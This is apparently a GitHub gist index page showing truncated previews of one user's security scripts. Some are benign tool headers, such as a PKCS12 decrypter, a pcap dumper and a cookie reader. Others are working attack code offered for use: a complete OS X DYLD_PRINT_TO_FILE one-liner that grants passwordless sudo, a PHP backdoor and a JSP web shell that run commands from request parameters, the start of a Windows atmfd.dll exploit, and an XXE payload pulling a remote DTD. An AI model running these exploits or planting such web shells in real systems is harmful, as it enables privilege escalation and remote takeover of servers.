sh1n0b1’s gists

sh1n0b1 / p12decrypt.php

Created September 30, 2015 00:54

Decrypt strings encrypted by PKCS12 keys

	<?php
	$p12cert = array();
	$file = '[PATH]]';
	$c = file_get_contents($file);
	if (openssl_pkcs12_read($c, $p12cert, '[REDACTED]') )
	{
	$pkey = $p12cert['pkey']; //private key
	$cert = $p12cert['cert']; //public key

	//decrypt the encrypted parameter value

sh1n0b1 / dump.pl

Created September 17, 2015 22:30

pcap SSL packet dump for Wireshark to decrypt - https://supportforums.cisco.com/blog/154046

	#!/usr/bin/perl

	#Author: Michal Garcarz @ cisco.com
	#Date: 15.01.2013

	use Net::Frame::Simple;
	use Net::Frame::Dump::Offline;
	use Net::Frame::Layer::TCP;
	use Net::Frame::Layer;
	use Net::Frame::Layer::IPv4;

sh1n0b1 / ecryptfs2john.py

Created August 30, 2015 10:11

	#!/usr/bin/env python

	# Helper script for cracking eCryptfs.
	#
	# Refer to "ecryptfs-utils_104.orig.tar.gz" in case of doubt.
	#
	# This software is Copyright (c) 2014 Dhiru Kholia <dhiru.kholia at gmail.com> and
	# Copyright (c) 2015, NagraVision <sylvain.pelissier at nagra.com>
	# and it is hereby released to the general public under the following terms:
	#

sh1n0b1 / BinaryCookieReader.py

Created August 28, 2015 20:46

BinaryCookieReader

	#*******************************************************************************#
	# BinaryCookieReader: Written By Satishb3 (http://www.securitylearn.net) #
	# #
	# For any bug fixes contact me: [email protected] #
	# #
	# Usage: Python BinaryCookieReader.py Cookie.Binarycookies-FilePath #
	# #
	# Safari browser and iOS applications store the persistent cookies in a binary #
	# file names Cookies.binarycookies.BinaryCookieReader is used to dump all the #
	# cookies from the binary Cookies.binarycookies file. #

sh1n0b1 / escalate.sh

Created July 25, 2015 00:13

OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability

	# It should work for OS X 10.10-10.10.4
	echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' \| DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

sh1n0b1 / elevator.c

Created July 24, 2015 23:55

Windows Open Type ‘atmfd.dll’ Privilege Escalation MS15-078

	#include <stdio.h>
	#include <string.h>
	#include "lib.h"
	#include <Wininet.h>
	//#include "starter.h"

	//include OTF
	#include "font.h" // foofont is fetched from loader config struct

	//#include "cert.h"

sh1n0b1 / php_shell.php

Created July 16, 2015 08:53

PHP backdoor

	<?php

	//$allowedToken = "509F7BA70C680DDAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	$allowedToken = "<REPLACE_WITH_SOME_RANDOM_LONG_STRING>";
	$token = $_GET['token'];

	if ($token == $allowedToken){
	echo system($_GET['cmd']);
	}else{
	header("HTTP/1.0 404 Not Found");

sh1n0b1 / linuxprivchecker.py

Created July 13, 2015 23:36

linuxprivchecker.py -- a Linux Privilege Escalation Check Script

	#!/usr/env python

	###############################################################################################################
	## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
	## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
	##-------------------------------------------------------------------------------------------------------------
	## [Details]:
	## This script is intended to be executed locally on a Linux box to enumerate basic system info and
	## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
	## passwords and applicable exploits.

sh1n0b1 / jsp_backdoor.jsp

Created April 23, 2015 00:17

	<html>
	<head>
	<!-- <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<br />"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null )
	{ out.println(disr); disr = dis.readLine(); } } %>
	-->
	</head>
	<body>
	</body>
	</html>

sh1n0b1 / XXE.php

Last active July 4, 2017 04:17

XML Enternal Entity Injection

	<?php

	$xml_data ='<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE roottage [
	<!ENTITY % dtd SYSTEM "http://<IP_ADDRESS>">
	%dtd;]>';
	//<!ENTITY xxe SYSTEM "http://target/">]>
	$URL = "https://target/";
	$ch = curl_init($URL);
	curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: text/html'));